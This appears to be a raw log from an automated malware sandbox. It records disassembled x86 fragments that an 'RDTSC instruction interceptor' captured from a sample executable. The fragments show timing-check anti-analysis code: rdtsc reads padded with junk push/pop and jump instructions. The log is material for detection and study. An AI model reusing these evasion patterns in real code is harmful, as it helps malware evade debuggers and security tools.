Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10755 second address: 4A1078B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F588136DCC4h 0x0000000e mov dword ptr [esp], ecx 0x00000011 pushad 0x00000012 mov cx, F5CDh 0x00000016 mov eax, 644E21C9h 0x0000001b popad 0x0000001c xchg eax, esi 0x0000001d pushad 0x0000001e mov dx, si 0x00000021 push eax 0x00000022 push edx 0x00000023 mov ax, AD83h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A1078B second address: 4A107C4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F588123DB98h 0x00000008 xor ecx, 3F864948h 0x0000000e jmp 00007F588123DB8Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bh, al 0x0000001d mov dl, 4Dh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A107C4 second address: 4A10817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d mov ebx, eax 0x0000000f popad 0x00000010 lea eax, dword ptr [ebp-04h] 0x00000013 jmp 00007F588136DCC2h 0x00000018 nop 0x00000019 jmp 00007F588136DCC0h 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov edi, 055B7EFEh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10817 second address: 4A1085B instructions: 0x00000000 rdtsc 0x00000002 movsx edx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F588123DB93h 0x00000012 and esi, 78D6545Eh 0x00000018 jmp 00007F588123DB99h 0x0000001d popfd 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10888 second address: 4A108A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A108A5 second address: 4A108ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007F588123DB98h 0x0000000c add si, 9C48h 0x00000011 jmp 00007F588123DB8Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [ebp-04h], 00000000h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007F588123DB8Bh 0x00000026 push ecx 0x00000027 pop ebx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A108ED second address: 4A108F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A108F3 second address: 4A108F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10974 second address: 4A109D8 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F588136DCC8h 0x0000000d sub si, C828h 0x00000012 jmp 00007F588136DCBBh 0x00000017 popfd 0x00000018 popad 0x00000019 mov eax, esi 0x0000001b pushad 0x0000001c jmp 00007F588136DCC4h 0x00000021 mov si, CC21h 0x00000025 popad 0x00000026 pop esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F588136DCC3h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A109D8 second address: 4A109FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov bh, ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A109FB second address: 4A001A2 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, eax 0x00000009 popad 0x0000000a retn 0004h 0x0000000d nop 0x0000000e sub esp, 04h 0x00000011 xor ebx, ebx 0x00000013 cmp eax, 00000000h 0x00000016 je 00007F588136DE1Ah 0x0000001c mov dword ptr [esp], 0000000Dh 0x00000023 call 00007F5885519FE7h 0x00000028 mov edi, edi 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov dx, C9A0h 0x00000031 mov bh, DFh 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A001A2 second address: 4A001BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movsx edx, si 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A001BE second address: 4A001C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A001C2 second address: 4A001C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A001C8 second address: 4A001FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F588136DCC8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A001FA second address: 4A001FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A001FE second address: 4A00204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00204 second address: 4A00290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F588123DB90h 0x00000010 sub esp, 2Ch 0x00000013 pushad 0x00000014 movzx eax, bx 0x00000017 pushfd 0x00000018 jmp 00007F588123DB93h 0x0000001d sub si, 0B4Eh 0x00000022 jmp 00007F588123DB99h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebx 0x0000002a pushad 0x0000002b mov ecx, 475B9DF3h 0x00000030 movzx eax, bx 0x00000033 popad 0x00000034 push eax 0x00000035 jmp 00007F588123DB92h 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F588123DB8Ah 0x00000044 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00290 second address: 4A0029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A0036A second address: 4A003AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F588123DB8Eh 0x00000011 or cl, FFFFFFC8h 0x00000014 jmp 00007F588123DB8Bh 0x00000019 popfd 0x0000001a popad 0x0000001b test al, al 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F588123DB91h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A003AE second address: 4A003BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F588136DCBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A003BE second address: 4A00436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F588123DD72h 0x00000011 jmp 00007F588123DB96h 0x00000016 lea ecx, dword ptr [ebp-14h] 0x00000019 pushad 0x0000001a mov cx, 0CCDh 0x0000001e push eax 0x0000001f pushfd 0x00000020 jmp 00007F588123DB99h 0x00000025 add si, 6556h 0x0000002a jmp 00007F588123DB91h 0x0000002f popfd 0x00000030 pop ecx 0x00000031 popad 0x00000032 mov dword ptr [ebp-14h], edi 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F588123DB8Ah 0x0000003c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00436 second address: 4A0043C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A0043C second address: 4A00440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00526 second address: 4A00590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F588136DCC7h 0x00000009 jmp 00007F588136DCC3h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 js 00007F588136DD17h 0x0000001a jmp 00007F588136DCC4h 0x0000001f cmp dword ptr [ebp-14h], edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F588136DCC7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00590 second address: 4A0064A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F58F22DBA74h 0x0000000f jmp 00007F588123DB8Eh 0x00000014 mov ebx, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 jmp 00007F588123DB8Eh 0x0000001d pushfd 0x0000001e jmp 00007F588123DB92h 0x00000023 or eax, 3929E998h 0x00000029 jmp 00007F588123DB8Bh 0x0000002e popfd 0x0000002f popad 0x00000030 lea eax, dword ptr [ebp-2Ch] 0x00000033 jmp 00007F588123DB96h 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a pushad 0x0000003b mov si, bx 0x0000003e mov edx, 6D50B61Ah 0x00000043 popad 0x00000044 popad 0x00000045 push eax 0x00000046 jmp 00007F588123DB90h 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F588123DB97h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A0064A second address: 4A006D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F588136DCBFh 0x00000009 and ax, A1CEh 0x0000000e jmp 00007F588136DCC9h 0x00000013 popfd 0x00000014 mov eax, 4C9E67D7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c nop 0x0000001d pushad 0x0000001e mov bl, ch 0x00000020 pushfd 0x00000021 jmp 00007F588136DCC5h 0x00000026 add ax, DCB6h 0x0000002b jmp 00007F588136DCC1h 0x00000030 popfd 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 mov cx, di 0x00000037 mov bx, 753Eh 0x0000003b popad 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 call 00007F588136DCBEh 0x00000045 pop ecx 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A006D6 second address: 4A006DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A006DC second address: 4A00725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F588136DCC1h 0x00000011 pop ecx 0x00000012 pushfd 0x00000013 jmp 00007F588136DCC1h 0x00000018 add eax, 79D0A0D6h 0x0000001e jmp 00007F588136DCC1h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00725 second address: 4A0072B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A0072B second address: 4A0077F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F588136DCBFh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F588136DCC6h 0x0000001a xor ax, F088h 0x0000001f jmp 00007F588136DCBBh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A007D4 second address: 4A00039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 005E0CB7h 0x00000008 pushfd 0x00000009 jmp 00007F588123DB8Ch 0x0000000e sbb ax, 27A8h 0x00000013 jmp 00007F588123DB8Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov esi, eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F588123DB94h 0x00000025 sub ecx, 1B1E9A08h 0x0000002b jmp 00007F588123DB8Bh 0x00000030 popfd 0x00000031 movzx esi, dx 0x00000034 popad 0x00000035 test esi, esi 0x00000037 jmp 00007F588123DB8Bh 0x0000003c je 00007F58F22DB9A3h 0x00000042 xor eax, eax 0x00000044 jmp 00007F58812172BAh 0x00000049 pop esi 0x0000004a pop edi 0x0000004b pop ebx 0x0000004c leave 0x0000004d retn 0004h 0x00000050 nop 0x00000051 sub esp, 04h 0x00000054 mov esi, eax 0x00000056 xor ebx, ebx 0x00000058 cmp esi, 00000000h 0x0000005b je 00007F588123DCC5h 0x00000061 call 00007F58853E9BCCh 0x00000066 mov edi, edi 0x00000068 jmp 00007F588123DB94h 0x0000006d xchg eax, ebp 0x0000006e jmp 00007F588123DB90h 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F588123DB8Dh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00039 second address: 4A0003D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A0003D second address: 4A00043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00043 second address: 4A00048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00048 second address: 4A000BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 6CD02D1Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e push ecx 0x0000000f pushfd 0x00000010 jmp 00007F588123DB97h 0x00000015 sub cx, 9E1Eh 0x0000001a jmp 00007F588123DB99h 0x0000001f popfd 0x00000020 pop eax 0x00000021 call 00007F588123DB91h 0x00000026 mov dx, cx 0x00000029 pop esi 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F588123DB96h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A000BF second address: 4A000F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F588136DCC1h 0x00000009 add cx, 2866h 0x0000000e jmp 00007F588136DCC1h 0x00000013 popfd 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ecx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d mov ecx, 775D9225h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A000F9 second address: 4A00132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, ch 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F588123DB98h 0x0000000d xchg eax, ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 mov ecx, 4573985Fh 0x00000018 popad 0x00000019 mov dword ptr [ebp-04h], 55534552h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00132 second address: 4A00136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00136 second address: 4A0013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A0013A second address: 4A00140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00140 second address: 4A00146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00C4D second address: 4A00C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F588136DCBCh 0x00000010 mov ebx, eax 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F588136DCC7h 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00C92 second address: 4A00C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00C96 second address: 4A00C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00C9C second address: 4A00CDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bh, ch 0x0000000e jmp 00007F588123DB93h 0x00000013 popad 0x00000014 cmp dword ptr [75AF459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F588123DB90h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00CDE second address: 4A00CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00CE4 second address: 4A00D2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F58F22CB88Fh 0x0000000f jmp 00007F588123DB90h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov di, 7C80h 0x0000001c call 00007F588123DB99h 0x00000021 pop esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00D84 second address: 4A00D8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00D8A second address: 4A00DAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F58F22D2966h 0x0000000d push 75A92B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75AF4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F588123DB92h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00DAB second address: 4A00DDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F588136DCC1h 0x00000009 add eax, 0DD5BD56h 0x0000000f jmp 00007F588136DCC1h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A00DDA second address: 4A00DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 sub esi, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F588123DB98h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10A46 second address: 4A10A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10A4A second address: 4A10A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10A50 second address: 4A10A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10A56 second address: 4A10A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10A5A second address: 4A10A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F588136DCBBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10A71 second address: 4A10AF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F588123DB8Eh 0x0000000f push eax 0x00000010 jmp 00007F588123DB8Bh 0x00000015 xchg eax, esi 0x00000016 jmp 00007F588123DB96h 0x0000001b mov esi, dword ptr [ebp+0Ch] 0x0000001e jmp 00007F588123DB90h 0x00000023 test esi, esi 0x00000025 jmp 00007F588123DB90h 0x0000002a je 00007F58F22BB458h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10AF1 second address: 4A10B0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588136DCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10B0E second address: 4A10BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75AF459Ch], 05h 0x00000012 jmp 00007F588123DB95h 0x00000017 je 00007F58F22D34E8h 0x0000001d pushad 0x0000001e jmp 00007F588123DB8Ch 0x00000023 pushfd 0x00000024 jmp 00007F588123DB92h 0x00000029 adc si, 84A8h 0x0000002e jmp 00007F588123DB8Bh 0x00000033 popfd 0x00000034 popad 0x00000035 xchg eax, esi 0x00000036 jmp 00007F588123DB96h 0x0000003b push eax 0x0000003c jmp 00007F588123DB8Bh 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F588123DB95h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10BDF second address: 4A10BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 4A10BE5 second address: 4A10BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
